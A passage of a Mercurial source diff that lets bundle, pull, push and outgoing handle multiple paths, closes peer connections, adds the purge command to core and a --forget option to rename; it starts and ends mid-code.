bisect nodes, changesets, bgood = hbisect.bisect(repo, state) @@ -1125,15 +1131,15 @@ nodes, changesets, good = hbisect.bisect(repo, state) if extend: if not changesets: - extendnode = hbisect.extendrange(repo, state, nodes, good) - if extendnode is not None: + extendctx = hbisect.extendrange(repo, state, nodes, good) + if extendctx is not None: ui.write( - _(b"Extending search to changeset %d:%s\n") - % (extendnode.rev(), extendnode) + _(b"Extending search to changeset %s\n") + % cmdutil.format_changeset_summary(ui, extendctx, b'bisect') ) - state[b'current'] = [extendnode.node()] + state[b'current'] = [extendctx.node()] hbisect.save_state(repo, state) - return mayupdate(repo, extendnode.node()) + return mayupdate(repo, extendctx.node()) raise error.StateError(_(b"nothing to extend")) if changesets == 0: @@ -1146,12 +1152,13 @@ while size <= changesets: tests, size = tests + 1, size * 2 rev = repo.changelog.rev(node) + summary = cmdutil.format_changeset_summary(ui, repo[rev], b'bisect') ui.write( _( - b"Testing changeset %d:%s " + b"Testing changeset %s " b"(%d changesets remaining, ~%d tests)\n" ) - % (rev, short(node), changesets, tests) + % (summary, changesets, tests) ) state[b'current'] = [node] hbisect.save_state(repo, state) @@ -1524,10 +1531,10 @@ ), ] + remoteopts, - _(b'[-f] [-t BUNDLESPEC] [-a] [-r REV]... [--base REV]... FILE [DEST]'), + _(b'[-f] [-t BUNDLESPEC] [-a] [-r REV]... [--base REV]... FILE [DEST]...'), helpcategory=command.CATEGORY_IMPORT_EXPORT, ) -def bundle(ui, repo, fname, dest=None, **opts): +def bundle(ui, repo, fname, *dests, **opts): """create a bundle file Generate a bundle file containing data to be transferred to another @@ -1538,7 +1545,7 @@ all the nodes you specify with --base parameters. Otherwise, hg will assume the repository has all the nodes in destination, or default-push/default if no destination is specified, where destination - is the repository you provide through DEST option. + is the repositories you provide through DEST option. You can change bundle format with the -t/--type option. See :hg:`help bundlespec` for documentation on this format. By default, @@ -1583,9 +1590,9 @@ ) if opts.get(b'all'): - if dest: + if dests: raise error.InputError( - _(b"--all is incompatible with specifying a destination") + _(b"--all is incompatible with specifying destinations") ) if opts.get(b'base'): ui.warn(_(b"ignoring --base because --all was specified\n")) @@ -1598,31 +1605,54 @@ ) if base: - if dest: + if dests: raise error.InputError( - _(b"--base is incompatible with specifying a destination") + _(b"--base is incompatible with specifying destinations") ) common = [repo[rev].node() for rev in base] heads = [repo[r].node() for r in revs] if revs else None outgoing = discovery.outgoing(repo, common, heads) + missing = outgoing.missing + excluded = outgoing.excluded else: - dest = ui.expandpath(dest or b'default-push', dest or b'default') - dest, branches = hg.parseurl(dest, opts.get(b'branch')) - other = hg.peer(repo, opts, dest) - revs = [repo[r].hex() for r in revs] - revs, checkout = hg.addbranchrevs(repo, repo, branches, revs) - heads = revs and pycompat.maplist(repo.lookup, revs) or revs - outgoing = discovery.findcommonoutgoing( - repo, - other, - onlyheads=heads, - force=opts.get(b'force'), - portable=True, + missing = set() + excluded = set() + for path in urlutil.get_push_paths(repo, ui, dests): + other = hg.peer(repo, opts, path.rawloc) + if revs is not None: + hex_revs = [repo[r].hex() for r in revs] + else: + hex_revs = None + branches = (path.branch, []) + head_revs, checkout = hg.addbranchrevs( + repo, repo, branches, hex_revs + ) + heads = ( + head_revs + and pycompat.maplist(repo.lookup, head_revs) + or head_revs + ) + outgoing = discovery.findcommonoutgoing( + repo, + other, + onlyheads=heads, + force=opts.get(b'force'), + portable=True, + ) + missing.update(outgoing.missing) + excluded.update(outgoing.excluded) + + if not missing: + scmutil.nochangesfound(ui, repo, not base and excluded) + return 1 + + if heads: + outgoing = discovery.outgoing( + repo, missingroots=missing, ancestorsof=heads ) - - if not outgoing.missing: - scmutil.nochangesfound(ui, repo, not base and outgoing.excluded) - return 1 + else: + outgoing = discovery.outgoing(repo, missingroots=missing) + outgoing.excluded = sorted(excluded) if cgversion == b'01': # bundle1 bversion = b'HG10' + bundlespec.wirecompression @@ -1648,6 +1678,14 @@ if complevel is not None: compopts[b'level'] = complevel + compthreads = ui.configint( + b'experimental', b'bundlecompthreads.' + bundlespec.compression + ) + if compthreads is None: + compthreads = ui.configint(b'experimental', b'bundlecompthreads') + if compthreads is not None: + compopts[b'threads'] = compthreads + # Bundling of obsmarker and phases is optional as not all clients # support the necessary features. cfg = ui.configbool @@ -2399,7 +2437,8 @@ To undo marking a destination file as copied, use --forget. With that option, all given (positional) arguments are unmarked as copies. The - destination file(s) will be left in place (still tracked). + destination file(s) will be left in place (still tracked). Note that + :hg:`copy --forget` behaves the same way as :hg:`rename --forget`. This command takes effect with the next commit by default. @@ -2550,7 +2589,7 @@ if change: repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn') ctx2 = scmutil.revsingle(repo, change, None) - ctx1 = ctx2.p1() + ctx1 = logcmdutil.diff_parent(ctx2) elif from_rev or to_rev: repo = scmutil.unhidehashlikerevs( repo, [from_rev] + [to_rev], b'nowarn' @@ -3287,7 +3326,8 @@ ) # checking that newnodes exist because old state files won't have it elif statedata.get(b'newnodes') is not None: - statedata[b'newnodes'].append(node) + nn = statedata[b'newnodes'] # type: List[bytes] + nn.append(node) # remove state when we complete successfully if not opts.get(b'dry_run'): @@ -3821,132 +3861,140 @@ output = [] revs = [] - if source: - source, branches = hg.parseurl(ui.expandpath(source)) - peer = hg.peer(repo or ui, opts, source) # only pass ui when no repo - repo = peer.local() - revs, checkout = hg.addbranchrevs(repo, peer, branches, None) - - fm = ui.formatter(b'identify', opts) - fm.startitem() - - if not repo: - if num or branch or tags: - raise error.InputError( - _(b"can't query remote revision number, branch, or tags") + peer = None + try: + if source: + source, branches = urlutil.get_unique_pull_path( + b'identify', repo, ui, source ) - if not rev and revs: - rev = revs[0] - if not rev: - rev = b"tip" - - remoterev = peer.lookup(rev) - hexrev = fm.hexfunc(remoterev) - if default or id: - output = [hexrev] - fm.data(id=hexrev) - - @util.cachefunc - def getbms(): - bms = [] - - if b'bookmarks' in peer.listkeys(b'namespaces'): - hexremoterev = hex(remoterev) - bms = [ - bm - for bm, bmr in pycompat.iteritems( - peer.listkeys(b'bookmarks') + # only pass ui when no repo + peer = hg.peer(repo or ui, opts, source) + repo = peer.local() + revs, checkout = hg.addbranchrevs(repo, peer, branches, None) + + fm = ui.formatter(b'identify', opts) + fm.startitem() + + if not repo: + if num or branch or tags: + raise error.InputError( + _(b"can't query remote revision number, branch, or tags") + ) + if not rev and revs: + rev = revs[0] + if not rev: + rev = b"tip" + + remoterev = peer.lookup(rev) + hexrev = fm.hexfunc(remoterev) + if default or id: + output = [hexrev] + fm.data(id=hexrev) + + @util.cachefunc + def getbms(): + bms = [] + + if b'bookmarks' in peer.listkeys(b'namespaces'): + hexremoterev = hex(remoterev) + bms = [ + bm + for bm, bmr in pycompat.iteritems( + peer.listkeys(b'bookmarks') + ) + if bmr == hexremoterev + ] + + return sorted(bms) + + if fm.isplain(): + if bookmarks: + output.extend(getbms()) + elif default and not ui.quiet: + # multiple bookmarks for a single parent separated by '/' + bm = b'/'.join(getbms()) + if bm: + output.append(bm) + else: + fm.data(node=hex(remoterev)) + if bookmarks or b'bookmarks' in fm.datahint(): + fm.data(bookmarks=fm.formatlist(getbms(), name=b'bookmark')) + else: + if rev: + repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn') + ctx = scmutil.revsingle(repo, rev, None) + + if ctx.rev() is None: + ctx = repo[None] + parents = ctx.parents() + taglist = [] + for p in parents: + taglist.extend(p.tags()) + + dirty = b"" + if ctx.dirty(missing=True, merge=False, branch=False): + dirty = b'+' + fm.data(dirty=dirty) + + hexoutput = [fm.hexfunc(p.node()) for p in parents] + if default or id: + output = [b"%s%s" % (b'+'.join(hexoutput), dirty)] + fm.data(id=b"%s%s" % (b'+'.join(hexoutput), dirty)) + + if num: + numoutput = [b"%d" % p.rev() for p in parents] + output.append(b"%s%s" % (b'+'.join(numoutput), dirty)) + + fm.data( + parents=fm.formatlist( + [fm.hexfunc(p.node()) for p in parents], name=b'node' ) - if bmr == hexremoterev - ] - - return sorted(bms) - - if fm.isplain(): - if bookmarks: - output.extend(getbms()) - elif default and not ui.quiet: + ) + else: + hexoutput = fm.hexfunc(ctx.node()) + if default or id: + output = [hexoutput] + fm.data(id=hexoutput) + + if num: + output.append(pycompat.bytestr(ctx.rev())) + taglist = ctx.tags() + + if default and not ui.quiet: + b = ctx.branch() + if b != b'default': + output.append(b"(%s)" % b) + + # multiple tags for a single parent separated by '/' + t = b'/'.join(taglist) + if t: + output.append(t) + # multiple bookmarks for a single parent separated by '/' - bm = b'/'.join(getbms()) + bm = b'/'.join(ctx.bookmarks()) if bm: output.append(bm) - else: - fm.data(node=hex(remoterev)) - if bookmarks or b'bookmarks' in fm.datahint(): - fm.data(bookmarks=fm.formatlist(getbms(), name=b'bookmark')) - else: - if rev: - repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn') - ctx = scmutil.revsingle(repo, rev, None) - - if ctx.rev() is None: - ctx = repo[None] - parents = ctx.parents() - taglist = [] - for p in parents: - taglist.extend(p.tags()) - - dirty = b"" - if ctx.dirty(missing=True, merge=False, branch=False): - dirty = b'+' - fm.data(dirty=dirty) - - hexoutput = [fm.hexfunc(p.node()) for p in parents] - if default or id: - output = [b"%s%s" % (b'+'.join(hexoutput), dirty)] - fm.data(id=b"%s%s" % (b'+'.join(hexoutput), dirty)) - - if num: - numoutput = [b"%d" % p.rev() for p in parents] - output.append(b"%s%s" % (b'+'.join(numoutput), dirty)) - - fm.data( - parents=fm.formatlist( - [fm.hexfunc(p.node()) for p in parents], name=b'node' - ) - ) - else: - hexoutput = fm.hexfunc(ctx.node()) - if default or id: - output = [hexoutput] - fm.data(id=hexoutput) - - if num: - output.append(pycompat.bytestr(ctx.rev())) - taglist = ctx.tags() - - if default and not ui.quiet: - b = ctx.branch() - if b != b'default': - output.append(b"(%s)" % b) - - # multiple tags for a single parent separated by '/' - t = b'/'.join(taglist) - if t: - output.append(t) - - # multiple bookmarks for a single parent separated by '/' - bm = b'/'.join(ctx.bookmarks()) - if bm: - output.append(bm) - else: - if branch: - output.append(ctx.branch()) - - if tags: - output.extend(taglist) - - if bookmarks: - output.extend(ctx.bookmarks()) - - fm.data(node=ctx.hex()) - fm.data(branch=ctx.branch()) - fm.data(tags=fm.formatlist(taglist, name=b'tag', sep=b':')) - fm.data(bookmarks=fm.formatlist(ctx.bookmarks(), name=b'bookmark')) - fm.context(ctx=ctx) - - fm.plain(b"%s\n" % b' '.join(output)) - fm.end() + else: + if branch: + output.append(ctx.branch()) + + if tags: + output.extend(taglist) + + if bookmarks: + output.extend(ctx.bookmarks()) + + fm.data(node=ctx.hex()) + fm.data(branch=ctx.branch()) + fm.data(tags=fm.formatlist(taglist, name=b'tag', sep=b':')) + fm.data(bookmarks=fm.formatlist(ctx.bookmarks(), name=b'bookmark')) + fm.context(ctx=ctx) + + fm.plain(b"%s\n" % b' '.join(output)) + fm.end() + finally: + if peer: + peer.close() @command( @@ -4288,22 +4336,22 @@ cmdutil.check_incompatible_arguments(opts, b'subrepos', [b'bundle']) if opts.get(b'bookmarks'): - source, branches = hg.parseurl( - ui.expandpath(source), opts.get(b'branch') - ) - other = hg.peer(repo, opts, source) - if b'bookmarks' not in other.listkeys(b'namespaces'): - ui.warn(_(b"remote doesn't support bookmarks\n")) - return 0 - ui.pager(b'incoming') - ui.status(_(b'comparing with %s\n') % util.hidepassword(source)) - return bookmarks.incoming(ui, repo, other) - - repo._subtoppath = ui.expandpath(source) - try: - return hg.incoming(ui, repo, source, opts) - finally: - del repo._subtoppath + srcs = urlutil.get_pull_paths(repo, ui, [source], opts.get(b'branch')) + for source, branches in srcs: + other = hg.peer(repo, opts, source) + try: + if b'bookmarks' not in other.listkeys(b'namespaces'): + ui.warn(_(b"remote doesn't support bookmarks\n")) + return 0 + ui.pager(b'incoming') + ui.status( + _(b'comparing with %s\n') % urlutil.hidepassword(source) + ) + return bookmarks.incoming(ui, repo, other) + finally: + other.close() + + return hg.incoming(ui, repo, source, opts) @command( @@ -4328,7 +4376,9 @@ Returns 0 on success. """ opts = pycompat.byteskwargs(opts) - hg.peer(ui, opts, ui.expandpath(dest), create=True) + path = urlutil.get_clone_path(ui, dest)[1] + peer = hg.peer(ui, opts, path, create=True) + peer.close() @command( @@ -4896,10 +4946,10 @@ + logopts + remoteopts + subrepoopts, - _(b'[-M] [-p] [-n] [-f] [-r REV]... [DEST]'), + _(b'[-M] [-p] [-n] [-f] [-r REV]... [DEST]...'), helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT, ) -def outgoing(ui, repo, dest=None, **opts): +def outgoing(ui, repo, *dests, **opts): """show changesets not found in the destination Show changesets not found in the specified destination repository @@ -4935,47 +4985,24 @@ Returns 0 if there are outgoing changes, 1 otherwise. """ - # hg._outgoing() needs to re-resolve the path in order to handle #branch - # style URLs, so don't overwrite dest. - path = ui.paths.getpath(dest, default=(b'default-push', b'default')) - if not path: - raise error.ConfigError( - _(b'default repository not configured!'), - hint=_(b"see 'hg help config.paths'"), - ) - opts = pycompat.byteskwargs(opts) - if opts.get(b'graph'): - logcmdutil.checkunsupportedgraphflags([], opts) - o, other = hg._outgoing(ui, repo, dest, opts) - if not o: - cmdutil.outgoinghooks(ui, repo, other, opts, o) - return - - revdag = logcmdutil.graphrevs(repo, o, opts) - ui.pager(b'outgoing') - displayer = logcmdutil.changesetdisplayer(ui, repo, opts, buffered=True) - logcmdutil.displaygraph( - ui, repo, revdag, displayer, graphmod.asciiedges - ) - cmdutil.outgoinghooks(ui, repo, other, opts, o) - return 0 - if opts.get(b'bookmarks'): - dest = path.pushloc or path.loc - other = hg.peer(repo, opts, dest) - if b'bookmarks' not in other.listkeys(b'namespaces'): - ui.warn(_(b"remote doesn't support bookmarks\n")) - return 0 - ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) - ui.pager(b'outgoing') - return bookmarks.outgoing(ui, repo, other) - - repo._subtoppath = path.pushloc or path.loc - try: - return hg.outgoing(ui, repo, dest, opts) - finally: - del repo._subtoppath + for path in urlutil.get_push_paths(repo, ui, dests): + dest = path.pushloc or path.loc + other = hg.peer(repo, opts, dest) + try: + if b'bookmarks' not in other.listkeys(b'namespaces'): + ui.warn(_(b"remote doesn't support bookmarks\n")) + return 0 + ui.status( + _(b'comparing with %s\n') % urlutil.hidepassword(dest) + ) + ui.pager(b'outgoing') + return bookmarks.outgoing(ui, repo, other) + finally: + other.close() + + return hg.outgoing(ui, repo, dests, opts) @command( @@ -5113,7 +5140,7 @@ fm = ui.formatter(b'paths', opts) if fm.isplain(): - hidepassword = util.hidepassword + hidepassword = urlutil.hidepassword else: hidepassword = bytes if ui.quiet: @@ -5244,9 +5271,11 @@ :optupdate: updating working directory is needed or not :checkout: update destination revision (or None to default destination) :brev: a name, which might be a bookmark to be activated after updating + + return True if update raise any conflict, False otherwise. """ if modheads == 0: - return + return False if optupdate: try: return hg.updatetotally(ui, repo, checkout, brev) @@ -5268,6 +5297,7 @@ ui.status(_(b"(run 'hg heads' to see heads)\n")) elif not ui.configbool(b'commands', b'update.requiredest'): ui.status(_(b"(run 'hg update' to get a working copy)\n")) + return False @command( @@ -5308,11 +5338,11 @@ ), ] + remoteopts, - _(b'[-u] [-f] [-r REV]... [-e CMD] [--remotecmd CMD] [SOURCE]'), + _(b'[-u] [-f] [-r REV]... [-e CMD] [--remotecmd CMD] [SOURCE]...'), helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT, helpbasic=True, ) -def pull(ui, repo, source=b"default", **opts): +def pull(ui, repo, *sources, **opts): """pull changes from the specified source Pull changes from a remote repository to a local one. @@ -5336,6 +5366,10 @@ If SOURCE is omitted, the 'default' path will be used. See :hg:`help urls` for more information. + If multiple sources are specified, they will be pulled sequentially as if + the command was run multiple time. If --update is specify and the command + will stop at the first failed --update. + Specifying bookmark as ``.`` is equivalent to specifying the active bookmark's name. @@ -5350,101 +5384,211 @@ hint = _(b'use hg pull followed by hg update DEST') raise error.InputError(msg, hint=hint) - source, branches = hg.parseurl(ui.expandpath(source), opts.get(b'branch')) - ui.status(_(b'pulling from %s\n') % util.hidepassword(source)) - ui.flush() - other = hg.peer(repo, opts, source) - try: - revs, checkout = hg.addbranchrevs( - repo, other, branches, opts.get(b'rev') - ) - - pullopargs = {} - - nodes = None - if opts.get(b'bookmark') or revs: - # The list of bookmark used here is the same used to actually update - # the bookmark names, to avoid the race from issue 4689 and we do - # all lookup and bookmark queries in one go so they see the same - # version of the server state (issue 4700). - nodes = [] - fnodes = [] - revs = revs or [] - if revs and not other.capable(b'lookup'): - err = _( - b"other repository doesn't support revision lookup, " - b"so a rev cannot be specified." - ) - raise error.Abort(err) - with other.commandexecutor() as e: - fremotebookmarks = e.callcommand( - b'listkeys', {b'namespace': b'bookmarks'} - ) - for r in revs: - fnodes.append(e.callcommand(b'lookup', {b'key': r})) - remotebookmarks = fremotebookmarks.result() - remotebookmarks = bookmarks.unhexlifybookmarks(remotebookmarks) - pullopargs[b'remotebookmarks'] = remotebookmarks - for b in opts.get(b'bookmark', []): - b = repo._bookmarks.expandname(b) - if b not in remotebookmarks: - raise error.InputError( - _(b'remote bookmark %s not found!') % b + sources = urlutil.get_pull_paths(repo, ui, sources, opts.get(b'branch')) + for source, branches in sources: + ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source)) + ui.flush() + other = hg.peer(repo, opts, source) + update_conflict = None + try: + revs, checkout = hg.addbranchrevs( + repo, other, branches, opts.get(b'rev') + ) + + pullopargs = {} + + nodes = None + if opts.get(b'bookmark') or revs: + # The list of bookmark used here is the same used to actually update + # the bookmark names, to avoid the race from issue 4689 and we do + # all lookup and bookmark queries in one go so they see the same + # version of the server state (issue 4700). + nodes = [] + fnodes = [] + revs = revs or [] + if revs and not other.capable(b'lookup'): + err = _( + b"other repository doesn't support revision lookup, " + b"so a rev cannot be specified." + ) + raise error.Abort(err) + with other.commandexecutor() as e: + fremotebookmarks = e.callcommand( + b'listkeys', {b'namespace': b'bookmarks'} + ) + for r in revs: + fnodes.append(e.callcommand(b'lookup', {b'key': r})) + remotebookmarks = fremotebookmarks.result() + remotebookmarks = bookmarks.unhexlifybookmarks(remotebookmarks) + pullopargs[b'remotebookmarks'] = remotebookmarks + for b in opts.get(b'bookmark', []): + b = repo._bookmarks.expandname(b) + if b not in remotebookmarks: + raise error.InputError( + _(b'remote bookmark %s not found!') % b + ) + nodes.append(remotebookmarks[b]) + for i, rev in enumerate(revs): + node = fnodes[i].result() + nodes.append(node) + if rev == checkout: + checkout = node + + wlock = util.nullcontextmanager() + if opts.get(b'update'): + wlock = repo.wlock() + with wlock: + pullopargs.update(opts.get(b'opargs', {})) + modheads = exchange.pull( + repo, + other, + heads=nodes, + force=opts.get(b'force'), + bookmarks=opts.get(b'bookmark', ()), + opargs=pullopargs, + confirm=opts.get(b'confirm'), + ).cgresult + + # brev is a name, which might be a bookmark to be activated at + # the end of the update. In other words, it is an explicit + # destination of the update + brev = None + + if checkout: + checkout = repo.unfiltered().changelog.rev(checkout) + + # order below depends on implementation of + # hg.addbranchrevs(). opts['bookmark'] is ignored, + # because 'checkout' is determined without it. + if opts.get(b'rev'): + brev = opts[b'rev'][0] + elif opts.get(b'branch'): + brev = opts[b'branch'][0] + else: + brev = branches[0] + repo._subtoppath = source + try: + update_conflict = postincoming( + ui, repo, modheads, opts.get(b'update'), checkout, brev ) - nodes.append(remotebookmarks[b]) - for i, rev in enumerate(revs): - node = fnodes[i].result() - nodes.append(node) - if rev == checkout: - checkout = node - - wlock = util.nullcontextmanager() - if opts.get(b'update'): - wlock = repo.wlock() - with wlock: - pullopargs.update(opts.get(b'opargs', {})) - modheads = exchange.pull( - repo, - other, - heads=nodes, - force=opts.get(b'force'), - bookmarks=opts.get(b'bookmark', ()), - opargs=pullopargs, - confirm=opts.get(b'confirm'), - ).cgresult - - # brev is a name, which might be a bookmark to be activated at - # the end of the update. In other words, it is an explicit - # destination of the update - brev = None - - if checkout: - checkout = repo.unfiltered().changelog.rev(checkout) - - # order below depends on implementation of - # hg.addbranchrevs(). opts['bookmark'] is ignored, - # because 'checkout' is determined without it. - if opts.get(b'rev'): - brev = opts[b'rev'][0] - elif opts.get(b'branch'): - brev = opts[b'branch'][0] - else: - brev = branches[0] - repo._subtoppath = source - try: - ret = postincoming( - ui, repo, modheads, opts.get(b'update'), checkout, brev - ) - except error.FilteredRepoLookupError as exc: - msg = _(b'cannot update to target: %s') % exc.args[0] - exc.args = (msg,) + exc.args[1:] - raise - finally: - del repo._subtoppath - - finally: - other.close() - return ret + except error.FilteredRepoLookupError as exc: + msg = _(b'cannot update to target: %s') % exc.args[0] + exc.args = (msg,) + exc.args[1:] + raise + finally: + del repo._subtoppath + + finally: + other.close() + # skip the remaining pull source if they are some conflict. + if update_conflict: + break + if update_conflict: + return 1 + else: + return 0 + + +@command( + b'purge|clean', + [ + (b'a', b'abort-on-err', None, _(b'abort if an error occurs')), + (b'', b'all', None, _(b'purge ignored files too')), + (b'i', b'ignored', None, _(b'purge only ignored files')), + (b'', b'dirs', None, _(b'purge empty directories')), + (b'', b'files', None, _(b'purge files')), + (b'p', b'print', None, _(b'print filenames instead of deleting them')), + ( + b'0', + b'print0', + None, + _( + b'end filenames with NUL, for use with xargs' + b' (implies -p/--print)' + ), + ), + (b'', b'confirm', None, _(b'ask before permanently deleting files')), + ] + + cmdutil.walkopts, + _(b'hg purge [OPTION]... [DIR]...'), + helpcategory=command.CATEGORY_WORKING_DIRECTORY, +) +def purge(ui, repo, *dirs, **opts): + """removes files not tracked by Mercurial + + Delete files not known to Mercurial. This is useful to test local + and uncommitted changes in an otherwise-clean source tree. + + This means that purge will delete the following by default: + + - Unknown files: files marked with "?" by :hg:`status` + - Empty directories: in fact Mercurial ignores directories unless + they contain files under source control management + + But it will leave untouched: + + - Modified and unmodified tracked files + - Ignored files (unless -i or --all is specified) + - New files added to the repository (with :hg:`add`) + + The --files and --dirs options can be used to direct purge to delete + only files, only directories, or both. If neither option is given, + both will be deleted. + + If directories are given on the command line, only files in these + directories are considered. + + Be careful with purge, as you could irreversibly delete some files + you forgot to add to the repository. If you only want to print the + list of files that this program would delete, use the --print + option. + """ + opts = pycompat.byteskwargs(opts) + cmdutil.check_at_most_one_arg(opts, b'all', b'ignored') + + act = not opts.get(b'print') + eol = b'\n' + if opts.get(b'print0'): + eol = b'\0' + act = False # --print0 implies --print + if opts.get(b'all', False): + ignored = True + unknown = True + else: + ignored = opts.get(b'ignored', False) + unknown = not ignored + + removefiles = opts.get(b'files') + removedirs = opts.get(b'dirs') + confirm = opts.get(b'confirm') + if confirm is None: + try: + extensions.find(b'purge') + confirm = False + except KeyError: + confirm = True + + if not removefiles and not removedirs: + removefiles = True + removedirs = True + + match = scmutil.match(repo[None], dirs, opts) + + paths = mergemod.purge( + repo, + match, + unknown=unknown, + ignored=ignored, + removeemptydirs=removedirs, + removefiles=removefiles, + abortonerror=opts.get(b'abort_on_err'), + noop=not act, + confirm=confirm, + ) + + for path in paths: + if not act: + ui.write(b'%s%s' % (path, eol)) @command( @@ -5482,11 +5626,11 @@ ), ] + remoteopts, - _(b'[-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]'), + _(b'[-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]...'), helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT, helpbasic=True, ) -def push(ui, repo, dest=None, **opts): +def push(ui, repo, *dests, **opts): """push changes to the specified destination Push changesets from the local repository to the specified @@ -5522,6 +5666,9 @@ Please see :hg:`help urls` for important details about ``ssh://`` URLs. If DESTINATION is omitted, a default path will be used. + When passed multiple destinations, push will process them one after the + other, but stop should an error occur. + .. container:: verbose The --pushvars option sends strings to the server that become @@ -5566,75 +5713,89 @@ # this lets simultaneous -r, -b options continue working opts.setdefault(b'rev', []).append(b"null") - path = ui.paths.getpath(dest, default=(b'default-push', b'default')) - if not path: - raise error.ConfigError( - _(b'default repository not configured!'), - hint=_(b"see 'hg help config.paths'"), - ) - dest = path.pushloc or path.loc - branches = (path.branch, opts.get(b'branch') or []) - ui.status(_(b'pushing to %s\n') % util.hidepassword(dest)) - revs, checkout = hg.addbranchrevs(repo, repo, branches, opts.get(b'rev')) - other = hg.peer(repo, opts, dest) - - if revs: - revs = [repo[r].node() for r in scmutil.revrange(repo, revs)] - if not revs: - raise error.InputError( - _(b"specified revisions evaluate to an empty set"), - hint=_(b"use different revision arguments"), - ) - elif path.pushrev: - # It doesn't make any sense to specify ancestor revisions. So limit - # to DAG heads to make discovery simpler. - expr = revsetlang.formatspec(b'heads(%r)', path.pushrev) - revs = scmutil.revrange(repo, [expr]) - revs = [repo[rev].node() for rev in revs] - if not revs: - raise error.InputError( - _(b'default push revset for path evaluates to an empty set') - ) - elif ui.configbool(b'commands', b'push.require-revs'): - raise error.InputError( - _(b'no revisions specified to push'), - hint=_(b'did you mean "hg push -r ."?'), + some_pushed = False + result = 0 + for path in urlutil.get_push_paths(repo, ui, dests): + dest = path.pushloc or path.loc + branches = (path.branch, opts.get(b'branch') or []) + ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest)) + revs, checkout = hg.addbranchrevs( + repo, repo, branches, opts.get(b'rev') ) - - repo._subtoppath = dest - try: - # push subrepos depth-first for coherent ordering - c = repo[b'.'] - subs = c.substate # only repos that are committed - for s in sorted(subs): - result = c.sub(s).push(opts) - if result == 0: - return not result - finally: - del repo._subtoppath - - opargs = dict(opts.get(b'opargs', {})) # copy opargs since we may mutate it - opargs.setdefault(b'pushvars', []).extend(opts.get(b'pushvars', [])) - - pushop = exchange.push( - repo, - other, - opts.get(b'force'), - revs=revs, - newbranch=opts.get(b'new_branch'), - bookmarks=opts.get(b'bookmark', ()), - publish=opts.get(b'publish'), - opargs=opargs, - ) - - result = not pushop.cgresult - - if pushop.bkresult is not None: - if pushop.bkresult == 2: - result = 2 - elif not result and pushop.bkresult: - result = 2 - + other = hg.peer(repo, opts, dest) + + try: + if revs: + revs = [repo[r].node() for r in scmutil.revrange(repo, revs)] + if not revs: + raise error.InputError( + _(b"specified revisions evaluate to an empty set"), + hint=_(b"use different revision arguments"), + ) + elif path.pushrev: + # It doesn't make any sense to specify ancestor revisions. So limit + # to DAG heads to make discovery simpler. + expr = revsetlang.formatspec(b'heads(%r)', path.pushrev) + revs = scmutil.revrange(repo, [expr]) + revs = [repo[rev].node() for rev in revs] + if not revs: + raise error.InputError( + _( + b'default push revset for path evaluates to an empty set' + ) + ) + elif ui.configbool(b'commands', b'push.require-revs'): + raise error.InputError( + _(b'no revisions specified to push'), + hint=_(b'did you mean "hg push -r ."?'), + ) + + repo._subtoppath = dest + try: + # push subrepos depth-first for coherent ordering + c = repo[b'.'] + subs = c.substate # only repos that are committed + for s in sorted(subs): + sub_result = c.sub(s).push(opts) + if sub_result == 0: + return 1 + finally: + del repo._subtoppath + + opargs = dict( + opts.get(b'opargs', {}) + ) # copy opargs since we may mutate it + opargs.setdefault(b'pushvars', []).extend(opts.get(b'pushvars', [])) + + pushop = exchange.push( + repo, + other, + opts.get(b'force'), + revs=revs, + newbranch=opts.get(b'new_branch'), + bookmarks=opts.get(b'bookmark', ()), + publish=opts.get(b'publish'), + opargs=opargs, + ) + + if pushop.cgresult == 0: + result = 1 + elif pushop.cgresult is not None: + some_pushed = True + + if pushop.bkresult is not None: + if pushop.bkresult == 2: + result = 2 + elif not result and pushop.bkresult: + result = 2 + + if result: + break + + finally: + other.close() + if result == 0 and not some_pushed: + result = 1 return result @@ -5740,6 +5901,7 @@ @command( b'rename|move|mv', [ + (b'', b'forget', None, _(b'unmark a destination file as renamed')), (b'A', b'after', None, _(b'record a rename that has already occurred')), ( b'', @@ -5771,8 +5933,13 @@ exist in the working directory. If invoked with -A/--after, the operation is recorded, but no copying is performed. - This command takes effect at the next commit. To undo a rename - before that, see :hg:`revert`. + To undo marking a destination file as renamed, use --forget. With that + option, all given (positional) arguments are unmarked as renames. The + destination file(s) will be left in place (still tracked). The source + file(s) will not be restored. Note that :hg:`rename --forget` behaves + the same way as :hg:`copy --forget`. + + This command takes effect with the next commit by default. Returns 0 on success, 1 if errors are encountered. """ @@ -6083,7 +6250,7 @@ if hint: ui.warn(hint) - unresolvedf = list(ms.unresolved()) + unresolvedf = ms.unresolvedcount() if not unresolvedf: ui.status(_(b'(no more unresolved files)\n')) cmdutil.checkafterresolved(repo) @@ -7043,7 +7210,12 @@ return def getincoming(): - source, branches = hg.parseurl(ui.expandpath(b'default')) + # XXX We should actually skip this if no default is specified, instead + # of passing "default" which will resolve as "./default/" if no default + # path is defined. + source, branches = urlutil.get_unique_pull_path( + b'summary', repo, ui, b'default' + ) sbranch = branches[0] try: other = hg.peer(repo, {}, source) @@ -7054,7 +7226,7 @@ revs, checkout = hg.addbranchrevs(repo, other, branches, None) if revs: revs = [other.lookup(rev) for rev in revs] - ui.debug(b'comparing with %s\n' % util.hidepassword(source)) + ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source)) repo.ui.pushbuffer() commoninc = discovery.findcommonincoming(repo, other, heads=revs) repo.ui.popbuffer() @@ -7066,9 +7238,22 @@ source = sbranch = sother = commoninc = incoming = None def getoutgoing(): - dest, branches = hg.parseurl(ui.expandpath(b'default-push', b'default')) - dbranch = branches[0] - revs, checkout = hg.addbranchrevs(repo, repo, branches, None) + # XXX We should actually skip this if no default is specified, instead + # of passing "default" which will resolve as "./default/" if no default + # path is defined. + d = None + if b'default-push' in ui.paths: + d = b'default-push' + elif b'default' in ui.paths: + d = b'default' + if d is not None: + path = urlutil.get_unique_push_path(b'summary', repo, ui, d) + dest = path.pushloc or path.loc + dbranch = path.branch + else: + dest = b'default' + dbranch = None + revs, checkout = hg.addbranchrevs(repo, repo, (dbranch, 